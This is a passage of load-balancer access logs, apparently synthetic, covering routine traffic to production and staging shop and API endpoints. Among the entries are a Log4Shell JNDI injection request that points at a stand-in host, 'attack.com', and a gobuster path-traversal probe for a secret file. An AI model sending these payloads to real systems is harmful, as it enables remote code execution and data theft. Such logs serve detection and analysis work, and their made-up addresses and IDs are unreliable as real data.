"218.146.48.75:8080" "403" "-" "-" -https 2024-11-01T00:55:33.881925Z prod-web-alb 195.223.233.67:21230 10.0.176.248:443 0.048763 0.328618 0.053603 301 301 639 11223 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c495-d6f4b9a96e8248c5a690c726" "prod-web-alb.example.com" "-" 0 2024-11-01T00:55:33.881925Z "forward" "-" "-" "10.0.176.248:443" "301" "-" "-" -https 2024-11-01T00:55:35.022263Z prod-web-alb 102.124.16.55:26778 10.0.140.217:443 0.037692 0.257893 0.096439 200 200 433 4178 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c497-63b50998c1e44957bd60d88d" "prod-web-alb.example.com" "-" 7 2024-11-01T00:55:35.022263Z "forward" "-" "-" "10.0.140.217:443" "200" "-" "-" -https 2024-11-01T00:55:36.575359Z prod-web-alb 65.129.33.114:63646 10.0.112.47:443 0.021473 0.265917 0.002760 301 301 98 13543 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c498-880da5cbd6de4ec2a5143a74" "prod-web-alb.example.com" "-" 6 2024-11-01T00:55:36.575359Z "forward" "-" "-" "10.0.112.47:443" "301" "-" "-" -https 2024-11-01T00:55:37.008454Z prod-api-alb 93.17.218.94:34242 10.0.7.12:443 0.070656 0.166436 0.088275 302 302 694 2436 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c499-968f3810453847318835ac4f" "prod-api-alb.example.com" "-" 7 2024-11-01T00:55:37.008454Z "forward" "-" "-" "10.0.7.12:443" "302" "-" "-" -http 2024-11-01T00:55:37.997426Z staging-alb 102.9.166.101:39324 202.195.115.40:443 0.069405 0.463932 0.137691 302 302 880 8875 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c499-5f4a398dee9442ab8e1a3d27" "staging-alb.example.com" "-" 2 2024-11-01T00:55:37.997426Z "forward" "-" "-" "202.195.115.40:443" "302" "-" "-" -http 2024-11-01T00:55:38.474178Z staging-alb 229.148.203.51:21009 18.142.245.98:8080 0.134205 0.242558 0.014153 404 404 720 13692 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c49a-14e45dc60d2040cab27e0c4c" "staging-alb.example.com" "-" 2 2024-11-01T00:55:38.474178Z "forward" "-" "-" "18.142.245.98:8080" "404" "-" "-" -http 2024-11-01T00:55:39.602735Z staging-alb 240.97.220.106:53556 158.126.235.131:8080 0.073325 0.418330 0.111124 200 200 340 6256 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c49b-a8b5e0b0f7e84c58bb21043f" "staging-alb.example.com" "-" 9 2024-11-01T00:55:39.602735Z "forward" "-" "-" "158.126.235.131:8080" "200" "-" "-" -https 2024-11-01T00:55:41.060360Z prod-api-alb 79.198.220.204:14031 10.0.13.209:443 0.008468 0.254658 0.003540 200 200 246 9079 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c49d-8892c9d14c694d6ca1557292" "prod-api-alb.example.com" "-" 10 2024-11-01T00:55:41.060360Z "forward" "-" "-" "10.0.13.209:443" "200" "-" "-" -https 2024-11-01T00:55:42.153949Z prod-web-alb 251.84.167.19:30213 10.0.150.73:443 0.057236 0.317540 0.037184 200 200 60 7236 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c49e-58791a149fc94b5798cc4d90" "prod-web-alb.example.com" "-" 7 2024-11-01T00:55:42.153949Z "forward" "-" "-" "10.0.150.73:443" "200" "-" "-" -https 2024-11-01T00:55:43.125268Z prod-api-alb 193.222.17.172:18258 10.0.220.178:443 0.024575 0.341411 0.052273 200 200 964 1741 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c49f-a5c6e58336df4dfd929bbd43" "prod-api-alb.example.com" "-" 3 2024-11-01T00:55:43.125268Z "forward" "-" "-" "10.0.220.178:443" "200" "-" "-" -https 2024-11-01T00:55:44.493075Z staging-alb 188.246.224.233:10693 78.168.151.149:443 0.117281 0.665361 0.039867 301 301 362 9794 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4a0-51b9cf214a544aa28e6d83b0" "staging-alb.example.com" "-" 1 2024-11-01T00:55:44.493075Z "forward" "-" "-" "78.168.151.149:443" "301" "-" "-" -https 2024-11-01T00:55:46.105983Z prod-api-alb 147.142.78.231:31329 10.0.33.214:443 0.059226 0.130984 0.045446 302 302 430 5443 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4a2-28da789e4c9f4cf5bfcb3c49" "-" "-" 3 2024-11-01T00:55:46.105983Z "forward" "-" "-" "10.0.33.214:443" "302" "-" "-" -https 2024-11-01T00:55:47.310061Z prod-api-alb 24.140.171.45:50969 10.0.230.58:443 0.016185 0.379017 0.053336 200 200 582 6981 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4a3-28bcc6f2b4054988b2ce895e" "prod-api-alb.example.com" "-" 8 2024-11-01T00:55:47.310061Z "forward" "-" "-" "10.0.230.58:443" "200" "-" "-" -https 2024-11-01T00:55:48.768152Z prod-api-alb 124.10.33.136:36943 10.0.71.166:443 0.067856 0.221414 0.076251 200 200 551 969 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4a4-1930da7431a3491d9464452c" "prod-api-alb.example.com" "-" 0 2024-11-01T00:55:48.768152Z "forward" "-" "-" "10.0.71.166:443" "200" "-" "-" -https 2024-11-01T00:55:50.528093Z staging-alb 125.226.181.208:37185 99.146.76.213:8080 0.124193 0.722473 0.063451 200 200 450 9470 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4a6-2e3196eb135f40069ee46a68" "staging-alb.example.com" "-" 8 2024-11-01T00:55:50.528093Z "forward" "-" "-" "99.146.76.213:8080" "200" "-" "-" -https 2024-11-01T00:55:51.577038Z prod-web-alb 246.221.170.115:27097 10.0.3.85:443 0.075834 0.365255 0.053252 301 301 750 14491 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4a7-be2caf8ca2a145298bad98c0" "prod-web-alb.example.com" "-" 10 2024-11-01T00:55:51.577038Z "forward" "-" "-" "10.0.3.85:443" "301" "-" "-" -https 2024-11-01T00:55:52.921338Z staging-alb 100.169.141.250:23430 71.241.127.48:80 0.005954 0.418693 0.079955 200 200 611 13478 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4a8-553f413c86e34decad6cbeff" "staging-alb.example.com" "-" 6 2024-11-01T00:55:52.921338Z "forward" "-" "-" "71.241.127.48:80" "200" "-" "-" -https 2024-11-01T00:55:54.714085Z staging-alb 191.178.171.213:36221 192.41.126.241:80 0.079118 0.287097 0.056850 200 200 594 14190 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4aa-87e5fdbf077c434fbfed145c" "staging-alb.example.com" "-" 0 2024-11-01T00:55:54.714085Z "forward" "-" "-" "192.41.126.241:80" "200" "-" "-" -https 2024-11-01T00:55:55.232622Z prod-api-alb 211.149.146.219:16618 10.0.18.244:443 0.031107 0.160218 0.002538 404 404 468 12479 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4ab-1cc8e6d8d76745ba918af6a6" "prod-api-alb.example.com" "-" 8 2024-11-01T00:55:55.232622Z "forward" "-" "-" "10.0.18.244:443" "404" "-" "-" -http 2024-11-01T00:55:57.063739Z staging-alb 230.188.56.117:54668 143.81.183.87:8080 0.022059 0.213309 0.122498 302 302 357 12752 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4ad-a86d2a84882a451fab92ef0e" "staging-alb.example.com" "-" 1 2024-11-01T00:55:57.063739Z "forward" "-" "-" "143.81.183.87:8080" "302" "-" "-" -https 2024-11-01T00:55:57.580421Z prod-api-alb 24.117.72.244:61654 10.0.213.12:443 0.003093 0.474120 0.089174 302 302 546 4224 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4ad-cedc7e1469a14115bce13f91" "prod-api-alb.example.com" "-" 1 2024-11-01T00:55:57.580421Z "forward" "-" "-" "10.0.213.12:443" "302" "-" "-" -https 2024-11-01T00:55:58.440082Z prod-web-alb 224.74.191.113:44919 10.0.10.198:443 0.062960 0.326823 0.080985 200 200 819 4909 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4ae-f4f074f58f7046ec801244c7" "prod-web-alb.example.com" "-" 6 2024-11-01T00:55:58.440082Z "forward" "-" "-" "10.0.10.198:443" "200" "-" "-" -https 2024-11-01T00:55:58.659699Z prod-web-alb 59.91.85.196:51008 10.0.91.220:443 0.049675 0.333822 0.003712 302 302 740 11645 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4ae-d3b959e667cc4dc89e656474" "prod-web-alb.example.com" "-" 1 2024-11-01T00:55:58.659699Z "forward" "-" "-" "10.0.91.220:443" "302" "-" "-" -http 2024-11-01T00:56:00.076618Z staging-alb 148.83.144.238:20145 76.137.122.90:80 0.114747 0.141326 0.076221 200 200 300 4102 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4b0-e943bd8304114717b2a7324e" "staging-alb.example.com" "-" 2 2024-11-01T00:56:00.076618Z "forward" "-" "-" "76.137.122.90:80" "200" "-" "-" -https 2024-11-01T00:56:00.688125Z prod-web-alb 40.162.66.109:57781 10.0.59.149:443 0.069176 0.493460 0.065235 301 301 626 3206 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4b0-888e2788f458430f97080845" "prod-web-alb.example.com" "-" 3 2024-11-01T00:56:00.688125Z "forward" "-" "-" "10.0.59.149:443" "301" "-" "-" -https 2024-11-01T00:56:01.788089Z prod-web-alb 82.80.114.188:53387 10.0.126.34:443 0.090808 0.405909 0.042614 200 200 528 9701 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4b1-88314669ca4741e29db44265" "prod-web-alb.example.com" "-" 4 2024-11-01T00:56:01.788089Z "forward" "-" "-" "10.0.126.34:443" "200" "-" "-" -https 2024-11-01T00:56:03.083252Z prod-api-alb 31.194.35.184:56904 10.0.77.236:443 0.033446 0.223259 0.049860 404 404 665 11368 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4b3-9da3fed95c2a4e6b81cc9656" "prod-api-alb.example.com" "-" 1 2024-11-01T00:56:03.083252Z "forward" "-" "-" "10.0.77.236:443" "404" "-" "-" -https 2024-11-01T00:56:03.455769Z prod-web-alb 121.23.249.170:59762 10.0.129.154:443 0.074390 0.380576 0.017285 200 200 999 7800 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4b3-245de6be7768498ca9a6a4a3" "prod-web-alb.example.com" "-" 0 2024-11-01T00:56:03.455769Z "forward" "-" "-" "10.0.129.154:443" "200" "-" "-" -http 2024-11-01T00:56:05.239084Z staging-alb 107.71.160.67:53483 5.133.17.235:80 0.059578 0.534074 0.007688 404 404 416 14281 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4b5-9c0784264f0c45d0a3904573" "staging-alb.example.com" "-" 3 2024-11-01T00:56:05.239084Z "forward" "-" "-" "5.133.17.235:80" "404" "-" "-" -https 2024-11-01T00:56:06.537233Z staging-alb 193.27.228.121:34994 11.201.228.186:80 0.130035 0.612600 0.019869 404 404 16 12432 "POST /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4b6-87c06c4d04ca4253be4cb36c" "-" "-" 6 2024-11-01T00:56:06.537233Z "forward" "-" "-" "11.201.228.186:80" "404" "-" "-" -https 2024-11-01T00:56:08.204075Z staging-alb 134.21.5.176:13709 122.181.101.27:80 0.101008 0.392613 0.013798 302 302 616 9919 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4b8-f334c4d9881b4296a0667e5f" "staging-alb.example.com" "-" 0 2024-11-01T00:56:08.204075Z "forward" "-" "-" "122.181.101.27:80" "302" "-" "-" -http 2024-11-01T00:56:08.340808Z staging-alb 44.49.217.37:40248 44.31.177.207:80 0.142914 0.117003 0.144112 200 200 59 8501 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4b8-fed567589f7c4c2b989310c3" "staging-alb.example.com" "-" 3 2024-11-01T00:56:08.340808Z "forward" "-" "-" "44.31.177.207:80" "200" "-" "-" -https 2024-11-01T00:56:09.760911Z staging-alb 66.213.126.36:45741 209.244.189.120:80 0.144995 0.488035 0.066878 200 200 503 11975 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4b9-7fd7fa880e604d1aaaca4ab1" "-" "-" 3 2024-11-01T00:56:09.760911Z "forward" "-" "-" "209.244.189.120:80" "200" "-" "-" -http 2024-11-01T00:56:10.262061Z staging-alb 169.31.45.121:14777 89.121.178.55:443 0.101278 0.159538 0.078436 200 200 835 12906 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4ba-9df98f0baf3140698906842a" "staging-alb.example.com" "-" 8 2024-11-01T00:56:10.262061Z "forward" "-" "-" "89.121.178.55:443" "200" "-" "-" -https 2024-11-01T00:56:11.993661Z prod-api-alb 95.166.151.12:40043 10.0.225.211:443 0.071671 0.201548 0.057860 200 200 270 7916 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4bb-8093ccda5a864014a22a3450" "prod-api-alb.example.com" "-" 1 2024-11-01T00:56:11.993661Z "forward" "-" "-" "10.0.225.211:443" "200" "-" "-" -https 2024-11-01T00:56:12.637219Z prod-api-alb 193.187.89.53:55608 10.0.91.35:443 0.050157 0.095024 0.005782 301 301 447 6683 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4bc-2c77fda0460944579c8e4c0d" "prod-api-alb.example.com" "-" 0 2024-11-01T00:56:12.637219Z "forward" "-" "-" "10.0.91.35:443" "301" "-" "-" -https 2024-11-01T00:56:13.198672Z prod-api-alb 230.21.84.52:28586 10.0.44.125:443 0.053517 0.023413 0.077411 404 404 684 10712 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4bd-6db100de148540b4b91afd82" "prod-api-alb.example.com" "-" 6 2024-11-01T00:56:13.198672Z "forward" "-" "-" "10.0.44.125:443" "404" "-" "-" -https 2024-11-01T00:56:14.388027Z prod-web-alb 71.7.55.209:36305 10.0.108.4:443 0.052107 0.373215 0.082172 302 302 42 7406 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4be-ed992ded37284eaba5e0cc2b" "prod-web-alb.example.com" "-" 1 2024-11-01T00:56:14.388027Z "forward" "-" "-" "10.0.108.4:443" "302" "-" "-" -http 2024-11-01T00:56:15.449476Z staging-alb 34.14.162.77:62010 41.121.138.246:8080 0.032751 0.060049 0.078928 200 200 215 10606 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4bf-c68c18654ddb4a1692d97e94" "staging-alb.example.com" "-" 5 2024-11-01T00:56:15.449476Z "forward" "-" "-" "41.121.138.246:8080" "200" "-" "-" -https 2024-11-01T00:56:16.414350Z prod-api-alb 171.252.115.211:26958 10.0.60.135:443 0.067315 0.268787 0.005956 301 301 355 9888 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4c0-fecded6e233542dc98ee31f3" "prod-api-alb.example.com" "-" 10 2024-11-01T00:56:16.414350Z "forward" "-" "-" "10.0.60.135:443" "301" "-" "-" -https 2024-11-01T00:56:18.130913Z prod-web-alb 155.255.91.166:20120 10.0.167.231:443 0.012445 0.320300 0.063896 200 200 925 12494 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4c2-8482f50ae5a44e39b83cf4e8" "prod-web-alb.example.com" "-" 6 2024-11-01T00:56:18.130913Z "forward" "-" "-" "10.0.167.231:443" "200" "-" "-" -https 2024-11-01T00:56:19.015244Z prod-api-alb 45.155.205.141:25734 10.0.124.193:443 0.024082 0.101135 0.064241 403 403 827 12413 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4c3-b9dd9b0bce8a478db7823281" "-" "-" 8 2024-11-01T00:56:19.015244Z "forward" "-" "-" "10.0.124.193:443" "403" "-" "-" -http 2024-11-01T00:56:20.995368Z staging-alb 75.113.70.115:59651 211.197.69.142:80 0.149257 0.371656 0.034892 200 200 930 3943 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4c4-24d5925f9e4d4276a807c539" "staging-alb.example.com" "-" 8 2024-11-01T00:56:20.995368Z "forward" "-" "-" "211.197.69.142:80" "200" "-" "-" -https 2024-11-01T00:56:21.848951Z staging-alb 202.255.165.188:39782 56.124.224.31:8080 0.044808 0.064813 0.101793 404 404 879 5092 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4c5-15ab39c47d3a45a5934c4200" "staging-alb.example.com" "-" 2 2024-11-01T00:56:21.848951Z "forward" "-" "-" "56.124.224.31:8080" "404" "-" "-" -https 2024-11-01T00:56:23.553470Z prod-api-alb 231.196.51.104:58610 10.0.133.44:443 0.044516 0.382014 0.083266 200 200 155 10826 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4c7-67a264f48e7f4bf88cdfd878" "prod-api-alb.example.com" "-" 6 2024-11-01T00:56:23.553470Z "forward" "-" "-" "10.0.133.44:443" "200" "-" "-" -https 2024-11-01T00:56:24.475676Z prod-api-alb 88.129.11.175:28728 10.0.208.130:443 0.079374 0.143799 0.027952 200 200 857 11744 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4c8-9b59d5844df4489d8b1a5f40" "prod-api-alb.example.com" "-" 7 2024-11-01T00:56:24.475676Z "forward" "-" "-" "10.0.208.130:443" "200" "-" "-" -https 2024-11-01T00:56:25.929348Z prod-web-alb 250.155.33.33:16146 10.0.1.54:443 0.003240 0.405511 0.087217 301 301 352 11567 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4c9-632a26726b914696864ca898" "prod-web-alb.example.com" "-" 4 2024-11-01T00:56:25.929348Z "forward" "-" "-" "10.0.1.54:443" "301" "-" "-" -https 2024-11-01T00:56:26.194446Z prod-web-alb 227.23.108.34:45350 10.0.133.173:443 0.091340 0.296778 0.055892 200 200 813 8722 "GET /cart HTTP/1.1" 